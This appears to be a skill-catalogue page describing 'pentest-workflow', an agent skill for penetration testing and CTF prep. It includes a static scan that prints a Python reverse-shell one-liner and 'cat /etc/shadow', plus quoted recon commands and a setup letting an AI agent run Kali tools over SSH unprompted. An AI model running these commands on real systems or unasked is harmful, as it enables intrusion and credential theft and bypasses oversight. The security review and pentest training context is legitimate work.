Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/CarbeneAI/Forgenpx agentmods add skills/carbeneai/forge/pentest-workflowWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/carbeneai/forge/pentest-workflow)<a href="https://agentmods.dev/skills/carbeneai/forge/pentest-workflow"><img src="https://agentmods.dev/badge/skills/carbeneai/forge/pentest-workflow/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/carbeneai/forge/pentest-workflow"><img src="https://agentmods.dev/badge/skills/carbeneai/forge/pentest-workflow.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00074 | $0.02193 |
| Opus 5 | $0.00037 | $0.01097 |
| Sonnet 5 | $0.00015 | $0.00439 |
| Haiku 4.5 | $0.00007 | $0.00219 |
Grade B, and why
pentest-workflow scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Asks for rootlowPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
**GTFOBins:** Check https://gtfobins.github.io/ for SUID/sudo exploits Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
cat /etc/shadow Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' How it starts
The opening of the file, as written. The whole thing — 276 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Pentest Workflow
Structured methodology for penetration testing engagements, CTFs, and certification prep (OSCP/PNPT).
Kali MCP Integration
MCP Server: kali-ssh (configured in ~/.claude/mcp.json)
- Host: 10.0.0.50 (Proxmox VM — configure your Kali IP)
- User: youruser
- Status: Configure in mcp.json
Usage: All commands in this skill can be executed on the Kali VM by asking Claude to run them. Simply say:
- "Run nmap scan on [target] using Kali"
- "Execute gobuster on [URL] via Kali"
- "Check for SUID binaries on Kali"
Claude will automatically execute commands on your Kali system via the MCP SSH connection.
Methodology Overview
1. RECON → 2. ENUM → 3. EXPLOIT → 4. POST-EXPLOIT → 5. REPORT
↓ ↓ ↓ ↓ ↓
Passive Services Initial PrivEsc Document
+ Active + Vulns Access + Loot Findings
Phase 1: Reconnaissance
Passive Recon
# DNS enumeration
whois <domain>
dig any <domain>
host -t any <domain>
dnsrecon -d <domain>
# Subdomain discovery
subfinder -d <domain> -o subs.txt
amass enum -passive -d <domain>
# OSINT
theHarvester -d <domain> -b all
Active Recon
# Host discovery
nmap -sn 10.10.10.0/24 -oG hosts.txt
netdiscover -r 10.10.10.0/24
# Full TCP scan (save time with staged approach)
nmap -p- --min-rate 10000 -oN ports.txt <IP>
nmap -sC -sV -p <ports> -oN detailed.txt <IP>
# UDP quick scan (top 20 ports)
nmap -sU --top-ports 20 -oN udp.txt <IP>
Phase 2: Enumeration
Port-Based Enumeration
Enumerate based on discovered services. See references/service-enum.md for comprehensive commands per service.
| Port | Service | Quick Check |
|---|---|---|
| 21 | FTP | ftp <IP> (try anonymous) |
| 22 | SSH | Banner grab, check version vulns |
| 25 | SMTP | smtp-user-enum, relay tests |
| 53 | DNS | Zone transfer: dig axfr @<IP> <domain> |
| 80/443 | HTTP(S) | See Web Enumeration below |
| 88 | Kerberos | Kerbrute, AS-REP roasting |
| 110/143 | POP3/IMAP | Check for cleartext auth |
| 135 | RPC | rpcclient -U "" <IP> |
| 139/445 | SMB | See SMB Enumeration below |
| 389/636 | LDAP | ldapsearch, AD enumeration |
| 1433 | MSSQL | impacket-mssqlclient |
| 3306 | MySQL | mysql -h <IP> -u root |
| 3389 | RDP | Check NLA, BlueKeep |
| 5985 | WinRM | evil-winrm if creds |
What ships with it
5 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 276 lines · 74 tokens per session scan B 61028aa16d38
pentest-workflow is a skill published in the GitHub repository CarbeneAI/Forge (9 stars, last pushed 1mo ago), licensed MIT. It adds 74 tokens to every session and 2,193 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it B with 3 findings (asks for root, reaches for credential files, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
scanning-containers-with-trivy-in-cicd
This skill covers integrating Aqua Security's Trivy scanner into CI/CD pipelines for comprehensive container image vulnerability detection. It addresses scanning Docker images for OS package and application dependency CVEs, detecting misconfigurations in Dockerfiles, scanning filesystem and git repositories, and…
implementing-code-signing-for-artifacts
This skill covers implementing code signing for build artifacts to ensure integrity and authenticity throughout the software supply chain. It addresses signing binaries, packages, and containers using GPG, Sigstore, and platform-specific signing tools, establishing trust chains, and verifying signatures in deployment…
implementing-semgrep-for-custom-sast-rules
Write custom Semgrep SAST rules in YAML to detect application-specific vulnerabilities, enforce coding standards, and integrate into CI/CD pipelines.
building-vulnerability-dashboard-with-defectdojo
Deploy DefectDojo as a centralized vulnerability management dashboard with scanner integrations, deduplication, metrics tracking, and Jira ticketing workflows.
panguard
AI agent security platform — audit skills, scan for threats, and run 24/7 protection with 9,700+ detection rules.
detecting-aws-credential-exposure-with-trufflehog
Detecting exposed AWS credentials in source code repositories, CI/CD pipelines, and configuration files using TruffleHog, git-secrets, and AWS-native detection mechanisms to prevent credential theft and unauthorized account access.